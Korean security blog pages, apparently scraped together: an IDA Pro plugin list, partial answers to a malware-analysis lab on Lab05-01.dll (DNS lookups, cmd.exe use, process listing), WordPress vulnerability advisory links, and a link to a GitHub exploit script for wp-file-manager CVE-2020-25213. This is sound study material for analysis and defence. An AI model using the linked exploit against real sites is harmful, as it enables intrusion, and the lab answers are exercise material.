- Windows C++ 및 GCC 컴파일러를 기반으로 한 바이너리의 클래스 및 구조체를 역추적하고, IDA Pseudocode 플러그인에서 Virtual Pointer를 분석해 (objpointer + x) 와 같은 메모리 주소를 변수 이름으로 할당해 줄 수 있다. Class Informer 보다 더 좋은 것 같음.

 

실행형 플러그인.

[LINK] vb.idc 

- Visual Basic 6.0 컴파일러로 컴파일된 바이너리를 인식하지 못하는 IDA에 도움을 준다.

[LINK] funcap

- 디버깅 모드에서 모든 함수의 호출 과정과 인자값을 모조리 기록한다. 간단한 멜웨어 분석 시 도움될지도.

[LINK] bfltldr

- MIPS, ARM 으로 컴파일된 ELF 중 bFLT 형식을 가진 바이너리를 로드할 수 있게 해준다. 이 플러그인이 없다면, IDA는 단순 binary file로 밖에 인식하지 못함.

 

2. 설정

Options -> General -> Disassembly 에서 우측의 "Line prefixes", "Stack pointer"를 체크해 준다.

Line prefixes 는 IDA-View의 그래프 모드에서 코드 옆에 메모리 주소를 표시해 준다.

Stack pointer 는 코드 옆에 현재 스택 포인터 크기를 표시해 준다.




블로그 이미지

wtdsoul

,

Lab05-01.dll

리버싱 2022. 5. 2. 21:45

1. DllMain 주소

 

2. Import 윈도우를 이용해

Import -> getbyhostname 찾기

 

3. gethostbyname 함수는 몇 개인가? 18개

Import -> gethostbyname -> x

 

4. 0x10001757 에 위치한 gethostbyname 호출을 보면 어떤 DNS 요청이 이뤄지나?

g -> 0x10001757

 

 

 

add eax, 0D 통해 포인터 뒤를 알 수 있다.

 

 

 

6. 0x10001656 서브루틴 IDA Pro 지역변수 음(-) var_ 갯수? 

var 23개

7. 0x10001656 서브루틴 양(+) 오프셋 대응, arg_ ?

 

8. \cmd.exe /c 를 참조하는 코드 영역에서 무슨일?

-> 0x10095B20 주소에 더 가까움

9. 같은 영역 0x100101C8 에서 Dword_1008E5C4는 경로를 지정하는 전역변수로 보이고, 악코는

Dword_1008E5C4를 설정???

 

- 즉, sub_!0003695 함수의 호출 반환값(eax)를 Dword_1008E5C4에 저장한다.

- sub_10003695 함수는 GetVersionExa 함수를 호출하는 부분 윈도우 시스템 정보 확인

- Dword_1008E5C4 상호 참조 이용

 

10. 0x1000FF58에서 서브루틴으로 수백 라인은 문자를 비교 memcmp 비교다.

rotbotwork와 문자열 비교가 성공적으로 이뤄지면 어떤 현상??

 

- 문자열이 robotwork 와 일치하면 push [ebp+8] / 일치하지 않으면 jnz short loc_10010468 실행

 

11. PSLIST 익스포트?

Export > PSLIST

 

 

 

- sub_!00036C3 함수의 기능은 윈도우 버전을 확인, 이 함수 결과에 따라 분기문이 달라짐

- 각 분기문에서 sub_10006518, sub_1000664C를 각각 호출하는데 두 함수 모두 CreateToolhelp32Snapshot 이용

- 결론 프로세스 리스트 반환

 

 

18~19번

81. '18.

'리버싱' 카테고리의 다른 글

안티 리버싱  (0) 2022.10.19
IAT & EAT 정리  (0) 2022.04.27
RVA to RWA 쉽게 계산하기 [펌]  (0) 2022.04.27
EAT IAT 계산  (0) 2022.04.25
C#은 SecureSting 클래스  (0) 2021.07.09
블로그 이미지

wtdsoul

,

https://blog.alyac.co.kr/3971

 

WordPress 다운로드 관리자 플러그인의 취약점(CVE-2021-34639) 주의!

공격자가 특정 구성에서 임의의 코드를 실행할 수 있도록 하는 WordPress 다운로드 관리자 플러그인에 영향을 미치는 취약점이 발견되었습니다. 이 취약점으로 인해 작성자 및 uploa

blog.alyac.co.kr

https://www.boho.or.kr/krcert/secNoticeView.do?bulletin_writing_sequence=36292 

 

KISA 인터넷 보호나라&KrCERT

KISA 인터넷 보호나라&KrCERT

www.boho.or.kr

https://isarc.tachyonlab.com/4898

 

WordPress 플러그인 취약점 발견

20,000개 이상의 WordPress 사이트에 설치된 플러그인에서 크로스 사이트 스크립트 취약점이 발견되었다. 이는 WP HTML Mail 플러그인의 취약점으로, WP HTML Mail WordPress 이메일 템플릿 디자이너 플러그인

isarc.tachyonlab.com

 

 

'경로 및 정보' 카테고리의 다른 글

[Ethereum] Smart Contract 보안 취약점 가이드  (0) 2022.05.11
URL 경로 확인  (0) 2022.05.03
ipv4 대신 경로 참고  (0) 2022.04.30
서브넷 마스크 계산 경로  (0) 2022.04.29
PE Viewer  (0) 2022.04.27
블로그 이미지

wtdsoul

,

/wp-content/plugins/wp-file-manager/readme.txt exploit

 

https://github.com/mansoorr123/wp-file-manager-CVE-2020-25213/blob/main/wp-file-manager-exploit.sh

 

 

 

 

 

 

'' 카테고리의 다른 글

DOM 기반 XSS (펌)  (0) 2022.05.11
XSS 버그바운티 (펌)  (0) 2022.05.11
wordpress 대표적인 취약점 정리  (0) 2022.04.29
Wordpress 정리  (0) 2022.04.29
CSRF 참고 hacktricks  (0) 2022.04.23
블로그 이미지

wtdsoul

,